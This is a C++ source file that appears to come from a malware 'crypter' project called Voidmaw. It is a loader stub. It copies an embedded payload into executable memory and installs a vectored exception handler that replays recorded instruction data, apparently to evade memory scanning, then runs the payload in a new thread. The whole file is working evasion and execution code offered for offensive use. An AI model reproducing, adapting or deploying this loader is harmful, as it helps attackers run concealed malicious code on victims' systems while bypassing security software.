vxCrypt0r-Voidmaw/Voidmaw/main.cpp

#include<Windows.h>
#include <iostream>
#include"utils.h"
#include "veh.h"

//Data from the header file generated by Dismantle.exe:
extern BYTE payload[]; 
extern int payloadSize;
extern void InitMap();

PBYTE payloadLowerBoundAddr = 0;
PBYTE payloadUpperBoundAddr = 0;

int main()
{
    DWORD status = 0;

    DWORD oldProtect = 0;
    HANDLE runPayload = 0;
    PVOID pageGuardVeh = NULL;


    //Initializes the unordered map that holds the assembly execution data that was recorded previously
    InitMap();

    PVOID payloadCopied = VirtualAlloc(NULL, payloadSize, MEM_COMMIT, PAGE_READWRITE);
    if (!payloadCopied)
    {
        LogWinapiFail("VirtualAlloc");
        status = EXIT_FAILURE;
        goto cleanup_exit;
    }
    
    //Calculate payload upper and lower bounds
    payloadLowerBoundAddr = (PBYTE)payloadCopied;
    payloadUpperBoundAddr = (PBYTE)payloadCopied + payloadSize;

    memmove(payloadCopied, payload, payloadSize);

    //NEED RWX TO REPLACE THE INT3 ONCE WE TRIGGER AN EXCEPTION
    if (!VirtualProtect(payloadCopied, payloadSize, PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        LogWinapiFail("VirtualProtect");
        status = EXIT_FAILURE;
        goto cleanup_free_memory;
    }

    //INSTALLING THE VEH RESPONSIBLE WITH PAYLOAD EXECUTION
    pageGuardVeh = AddVectoredExceptionHandler(1, &VehPayload);
    if (!pageGuardVeh)
    {
        LogWinapiFail("AddVectoredExceptionHandler");
        status = EXIT_FAILURE;
        goto cleanup_free_memory;
    }

    //LAUNCH THREAD THAT EXECUTES PAYLOAD
    runPayload = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)payloadCopied, NULL, NULL, NULL);
    if (!runPayload)
    {
        LogWinapiFail("CreateThread");
        status = EXIT_FAILURE;
        goto cleanup_free_memory;
    }

    WaitForSingleObject(runPayload, INFINITE);

cleanup_free_memory:
    VirtualFree(payloadCopied, 0, MEM_RELEASE);

cleanup_exit:
    return status;
}